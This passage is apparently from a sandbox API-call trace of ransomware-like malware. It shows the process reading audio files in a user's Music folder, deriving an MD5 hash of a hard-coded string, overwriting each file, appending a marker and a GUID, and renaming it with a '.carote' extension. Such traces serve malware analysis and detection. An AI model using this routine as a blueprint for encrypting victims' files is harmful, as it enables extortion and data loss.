ftLastWriteTime.dwLowDateTime=0xfcbfe10, ftLastWriteTime.dwHighDateTime=0x1d4ced5, nFileSizeHigh=0x0, nFileSizeLow=0x16dd5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jy7QJY5ZDe.wav", cAlternateFileName="JY7QJY~1.WAV")) returned 1 [0112.293] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.293] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x76) returned 0x50fb750 [0112.293] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.293] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\jy7QJY5ZDe.wav") returned=".wav" [0112.293] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\jy7QJY5ZDe.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jy7qjy5zde.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.294] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=93653) returned 1 [0112.294] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.295] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x16daf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.295] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.297] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0112.297] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0112.297] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.297] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x16dd5, lpOverlapped=0x0) returned 1 [0112.298] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.298] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.298] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.298] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.298] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.298] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.298] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.298] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.299] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.299] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.299] GetLastError () returned 0x0 [0112.299] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.299] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.299] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.299] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x16de0) returned 0x7b182e0 [0112.299] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.299] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.299] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x16dd0, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x16dd0, lpOverlapped=0x0) returned 1 [0112.299] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.300] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x16dd5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.300] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.300] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.300] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.300] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.300] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.300] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.300] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.300] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.300] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.300] CloseHandle (hObject=0x61c) returned 1 [0112.301] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.301] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x880) returned 0x7b182e0 [0112.301] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.301] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\jy7QJY5ZDe.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jy7qjy5zde.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\jy7QJY5ZDe.wav.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jy7qjy5zde.wav.carote")) returned 1 [0112.302] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.302] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.302] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50fb750 | out: hHeap=0x5010000) returned 1 [0112.302] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x738b2db0, ftCreationTime.dwHighDateTime=0x1d4c8d4, ftLastAccessTime.dwLowDateTime=0x23961190, ftLastAccessTime.dwHighDateTime=0x1d4d332, ftLastWriteTime.dwLowDateTime=0x23961190, ftLastWriteTime.dwHighDateTime=0x1d4d332, nFileSizeHigh=0x0, nFileSizeLow=0xfab0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Rcxwv.wav", cAlternateFileName="")) returned 1 [0112.302] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.303] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x76) returned 0x50fb750 [0112.303] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.303] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Rcxwv.wav") returned=".wav" [0112.303] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Rcxwv.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rcxwv.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.303] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=64176) returned 1 [0112.303] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.304] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xfa8a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.305] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.306] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.306] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.306] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.306] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xfab0, lpOverlapped=0x0) returned 1 [0112.307] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.307] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.307] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.307] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.307] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.308] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.308] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.308] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.308] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.308] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.308] GetLastError () returned 0x0 [0112.308] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.308] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.308] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.308] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xfab0) returned 0x7b182e0 [0112.308] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.308] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.308] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0xfaab, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0xfaab, lpOverlapped=0x0) returned 1 [0112.308] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.309] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xfab0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.309] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.309] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.309] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.309] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.309] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.309] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.309] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.309] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.309] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.309] CloseHandle (hObject=0x61c) returned 1 [0112.310] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.310] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x870) returned 0x7b182e0 [0112.310] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.310] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Rcxwv.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rcxwv.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Rcxwv.wav.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rcxwv.wav.carote")) returned 1 [0112.310] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.310] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.311] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50fb750 | out: hHeap=0x5010000) returned 1 [0112.311] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc2813c0, ftCreationTime.dwHighDateTime=0x1d4c595, ftLastAccessTime.dwLowDateTime=0x5c7ce050, ftLastAccessTime.dwHighDateTime=0x1d4d34c, ftLastWriteTime.dwLowDateTime=0x5c7ce050, ftLastWriteTime.dwHighDateTime=0x1d4d34c, nFileSizeHigh=0x0, nFileSizeLow=0x6726, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RLO yJMHv0L.mp3", cAlternateFileName="RLOYJM~1.MP3")) returned 1 [0112.311] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.311] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x76) returned 0x50fb750 [0112.311] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.311] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\RLO yJMHv0L.mp3") returned=".mp3" [0112.311] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\RLO yJMHv0L.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rlo yjmhv0l.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.312] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=26406) returned 1 [0112.312] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.314] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x6700, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.314] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.315] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.315] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.315] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.315] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x6726, lpOverlapped=0x0) returned 1 [0112.316] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.316] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.316] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.316] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.316] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.317] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.317] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.317] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.317] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.317] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.317] GetLastError () returned 0x0 [0112.317] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.317] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.317] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.317] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x6730) returned 0x7b182e0 [0112.317] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.317] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.317] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x6721, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x6721, lpOverlapped=0x0) returned 1 [0112.318] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.318] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x6726, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.318] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.318] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.318] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.318] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.318] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.318] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.318] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.318] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.318] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.318] CloseHandle (hObject=0x61c) returned 1 [0112.319] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.319] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x880) returned 0x7b182e0 [0112.319] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.319] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\RLO yJMHv0L.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rlo yjmhv0l.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\RLO yJMHv0L.mp3.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rlo yjmhv0l.mp3.carote")) returned 1 [0112.320] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.320] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.320] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50fb750 | out: hHeap=0x5010000) returned 1 [0112.320] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ffb530, ftCreationTime.dwHighDateTime=0x1d4c9a4, ftLastAccessTime.dwLowDateTime=0xbaf13730, ftLastAccessTime.dwHighDateTime=0x1d4d289, ftLastWriteTime.dwLowDateTime=0xbaf13730, ftLastWriteTime.dwHighDateTime=0x1d4d289, nFileSizeHigh=0x0, nFileSizeLow=0x6a78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RrxvmDKYTi0rBAg7jbyD.m4a", cAlternateFileName="RRXVMD~1.M4A")) returned 1 [0112.320] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.321] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecf90 [0112.321] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.321] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\RrxvmDKYTi0rBAg7jbyD.m4a") returned=".m4a" [0112.321] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\RrxvmDKYTi0rBAg7jbyD.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rrxvmdkyti0rbag7jbyd.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.321] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=27256) returned 1 [0112.321] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.323] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x6a52, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.323] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.325] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0112.325] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0112.325] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.325] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x6a78, lpOverlapped=0x0) returned 1 [0112.326] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.326] 